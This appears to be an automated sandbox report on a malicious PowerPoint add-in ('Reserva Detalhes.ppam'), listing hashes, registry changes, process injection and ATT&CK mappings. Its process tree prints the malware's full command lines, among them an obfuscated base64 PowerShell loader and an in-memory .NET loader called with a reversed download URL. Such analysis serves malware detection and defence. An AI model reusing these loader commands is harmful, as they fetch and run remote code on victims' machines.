f651bda0b4fd972f48db97f7d7c57f4d66fb69f9c6a3f847a2a265d7dbe33469

General

Target

Reserva Detalhes.ppam
Size

8KB
MD5

38a0eb561cbe53efb6a6bbbaef74e480
SHA1

a006b9112485374499ecaa1d6f989d1f29a4dd6f
SHA256

f651bda0b4fd972f48db97f7d7c57f4d66fb69f9c6a3f847a2a265d7dbe33469
SHA512

b2a59cf376dc3724867d9012eebc9cfabce8657b1f0eeb5671e764c5be216b97db1a88209d2ba0f7949035185712ab87d3f464bf51adfa34d46f3cb6e1bc027c
SSDEEP

192:xrXP/sUwOwsOa0PuuSUPmttJTd4joE3N9OycExwc:dXP+No8m7JTd4d9OycExR

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	2700	780	cmd.exe	POWERPNT.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2644 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

780 POWERPNT.EXE

pid	process
2644	PING.EXE

pid	process
780	POWERPNT.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

POWERPNT.EXE

description	pid	process	target process
PID 780 wrote to memory of 2252	780	POWERPNT.EXE	splwow64.exe
PID 780 wrote to memory of 2252	780	POWERPNT.EXE	splwow64.exe
PID 780 wrote to memory of 2252	780	POWERPNT.EXE	splwow64.exe
PID 780 wrote to memory of 2252	780	POWERPNT.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Reserva Detalhes.ppam"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2252

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start C:\Users\Public\document.vbs
2⤵
- Process spawned unexpected child process
PID:2700

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\document.vbs"
3⤵
PID:2876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $DlEAp = 'J℅⚓♲BP℅⚓♲FE℅⚓♲dwBo℅⚓♲GQ℅⚓♲I℅⚓♲℅⚓♲9℅⚓♲C℅⚓♲℅⚓♲Jw℅⚓♲l℅⚓♲Gk℅⚓♲VQBZ℅⚓♲FI℅⚓♲YQ℅⚓♲l℅⚓♲Cc℅⚓♲Ow℅⚓♲k℅⚓♲GU℅⚓♲d℅⚓♲Bh℅⚓♲Hc℅⚓♲Rg℅⚓♲g℅⚓♲D0℅⚓♲I℅⚓♲℅⚓♲n℅⚓♲CU℅⚓♲egBL℅⚓♲EE℅⚓♲QQBZ℅⚓♲CU℅⚓♲Jw℅⚓♲7℅⚓♲Fs℅⚓♲QgB5℅⚓♲HQ℅⚓♲ZQBb℅⚓♲F0℅⚓♲XQ℅⚓♲g℅⚓♲CQ℅⚓♲T℅⚓♲Bi℅⚓♲Fk℅⚓♲awBW℅⚓♲C℅⚓♲℅⚓♲PQ℅⚓♲g℅⚓♲Fs℅⚓♲UwB5℅⚓♲HM℅⚓♲d℅⚓♲Bl℅⚓♲G0℅⚓♲LgBD℅⚓♲G8℅⚓♲bgB2℅⚓♲GU℅⚓♲cgB0℅⚓♲F0℅⚓♲Og℅⚓♲6℅⚓♲EY℅⚓♲cgBv℅⚓♲G0℅⚓♲QgBh℅⚓♲HM℅⚓♲ZQ℅⚓♲2℅⚓♲DQ℅⚓♲UwB0℅⚓♲HI℅⚓♲aQBu℅⚓♲Gc℅⚓♲K℅⚓♲℅⚓♲g℅⚓♲CQ℅⚓♲ZQB0℅⚓♲GE℅⚓♲dwBG℅⚓♲C4℅⚓♲UgBl℅⚓♲H℅⚓♲℅⚓♲b℅⚓♲Bh℅⚓♲GM℅⚓♲ZQ℅⚓♲o℅⚓♲Cc℅⚓♲kyE6℅⚓♲JMhJw℅⚓♲s℅⚓♲C℅⚓♲℅⚓♲JwBB℅⚓♲Cc℅⚓♲KQ℅⚓♲g℅⚓♲Ck℅⚓♲OwBb℅⚓♲FM℅⚓♲eQBz℅⚓♲HQ℅⚓♲ZQBt℅⚓♲C4℅⚓♲QQBw℅⚓♲H℅⚓♲℅⚓♲R℅⚓♲Bv℅⚓♲G0℅⚓♲YQBp℅⚓♲G4℅⚓♲XQ℅⚓♲6℅⚓♲Do℅⚓♲QwB1℅⚓♲HI℅⚓♲cgBl℅⚓♲G4℅⚓♲d℅⚓♲BE℅⚓♲G8℅⚓♲bQBh℅⚓♲Gk℅⚓♲bg℅⚓♲u℅⚓♲Ew℅⚓♲bwBh℅⚓♲GQ℅⚓♲K℅⚓♲℅⚓♲g℅⚓♲CQ℅⚓♲T℅⚓♲Bi℅⚓♲Fk℅⚓♲awBW℅⚓♲C℅⚓♲℅⚓♲KQ℅⚓♲u℅⚓♲Ec℅⚓♲ZQB0℅⚓♲FQ℅⚓♲eQBw℅⚓♲GU℅⚓♲K℅⚓♲℅⚓♲n℅⚓♲EM℅⚓♲b℅⚓♲Bh℅⚓♲HM℅⚓♲cwBM℅⚓♲Gk℅⚓♲YgBy℅⚓♲GE℅⚓♲cgB5℅⚓♲DM℅⚓♲LgBD℅⚓♲Gw℅⚓♲YQBz℅⚓♲HM℅⚓♲MQ℅⚓♲n℅⚓♲Ck℅⚓♲LgBH℅⚓♲GU℅⚓♲d℅⚓♲BN℅⚓♲GU℅⚓♲d℅⚓♲Bo℅⚓♲G8℅⚓♲Z℅⚓♲℅⚓♲o℅⚓♲Cc℅⚓♲c℅⚓♲By℅⚓♲EY℅⚓♲VgBJ℅⚓♲Cc℅⚓♲KQ℅⚓♲u℅⚓♲Ek℅⚓♲bgB2℅⚓♲G8℅⚓♲awBl℅⚓♲Cg℅⚓♲J℅⚓♲Bu℅⚓♲HU℅⚓♲b℅⚓♲Bs℅⚓♲Cw℅⚓♲I℅⚓♲Bb℅⚓♲G8℅⚓♲YgBq℅⚓♲GU℅⚓♲YwB0℅⚓♲Fs℅⚓♲XQBd℅⚓♲C℅⚓♲℅⚓♲K℅⚓♲℅⚓♲n℅⚓♲GY℅⚓♲Yg℅⚓♲5℅⚓♲DE℅⚓♲NQBh℅⚓♲Dc℅⚓♲NwBh℅⚓♲GY℅⚓♲Z℅⚓♲℅⚓♲1℅⚓♲DY℅⚓♲OQBm℅⚓♲Dg℅⚓♲Mw℅⚓♲3℅⚓♲GQ℅⚓♲M℅⚓♲℅⚓♲z℅⚓♲DE℅⚓♲Yg℅⚓♲w℅⚓♲GE℅⚓♲MQBk℅⚓♲GY℅⚓♲Mg℅⚓♲3℅⚓♲Dk℅⚓♲M℅⚓♲℅⚓♲u℅⚓♲F℅⚓♲℅⚓♲ZwBz℅⚓♲DQ℅⚓♲bwBB℅⚓♲Dk℅⚓♲Mg℅⚓♲v℅⚓♲F8℅⚓♲QgBG℅⚓♲D℅⚓♲℅⚓♲N℅⚓♲BU℅⚓♲F8℅⚓♲Xw℅⚓♲v℅⚓♲GQ℅⚓♲YQBv℅⚓♲Gw℅⚓♲bgB3℅⚓♲G8℅⚓♲R℅⚓♲B0℅⚓♲GM℅⚓♲ZQBy℅⚓♲Gk℅⚓♲Z℅⚓♲℅⚓♲v℅⚓♲GI℅⚓♲ZQB3℅⚓♲C8℅⚓♲bQBv℅⚓♲GM℅⚓♲LgBj℅⚓♲G4℅⚓♲eQBz℅⚓♲DQ℅⚓♲LgB3℅⚓♲Hc℅⚓♲dw℅⚓♲v℅⚓♲C8℅⚓♲OgBz℅⚓♲H℅⚓♲℅⚓♲d℅⚓♲B0℅⚓♲Gg℅⚓♲Jw℅⚓♲g℅⚓♲Cw℅⚓♲I℅⚓♲℅⚓♲k℅⚓♲E8℅⚓♲UQB3℅⚓♲Gg℅⚓♲Z℅⚓♲℅⚓♲g℅⚓♲Cw℅⚓♲I℅⚓♲℅⚓♲n℅⚓♲FQ℅⚓♲cgB1℅⚓♲GU℅⚓♲Jw℅⚓♲g℅⚓♲Ck℅⚓♲I℅⚓♲℅⚓♲p℅⚓♲℅⚓♲==';$blPuG = $DlEAp.replace('℅⚓♲','A') ;$xxjOR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $blPuG ) ).replace('%zKAAY%','').replace('%iUYRa%','C:\Users\Public\document.vbs');powershell $xxjOR
4⤵
PID:948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$OQwhd = 'C:\Users\Public\document.vbs';$etawF = '';[Byte[]] $LbYkV = [System.Convert]::FromBase64String( $etawF.Replace('↓:↓', 'A') );[System.AppDomain]::CurrentDomain.Load( $LbYkV ).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('fb915a77afd569f837d031b0a1df2790.Pgs4oA92/_BF04T__/daolnwoDtcerid/bew/moc.cnys4.www//:sptth' , $OQwhd , 'True' ) )"
5⤵
PID:2324

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 10
1⤵
- Runs ping.exe
PID:2644

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/780-0-0x000000002D301000-0x000000002D302000-memory.dmp

Filesize
4KB

Download
memory/780-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/780-2-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

Filesize
44KB

Download
memory/780-8-0x0000000004AD0000-0x0000000004BD0000-memory.dmp

Filesize
1024KB

Download
memory/780-7-0x0000000004AD0000-0x0000000004BD0000-memory.dmp

Filesize
1024KB

Download
memory/780-52-0x0000000004AD0000-0x0000000004BD0000-memory.dmp

Filesize
1024KB

Download
memory/780-51-0x0000000071DBD000-0x0000000071DC8000-memory.dmp

Filesize
44KB

Download
memory/780-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/948-68-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/948-71-0x00000000002F0000-0x0000000000330000-memory.dmp

Filesize
256KB

Download
memory/948-70-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/948-69-0x00000000002F0000-0x0000000000330000-memory.dmp

Filesize
256KB

Download
memory/948-81-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-78-0x0000000002AB0000-0x0000000002AF0000-memory.dmp

Filesize
256KB

Download
memory/2324-79-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-77-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download
memory/2324-80-0x00000000737B0000-0x0000000073D5B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads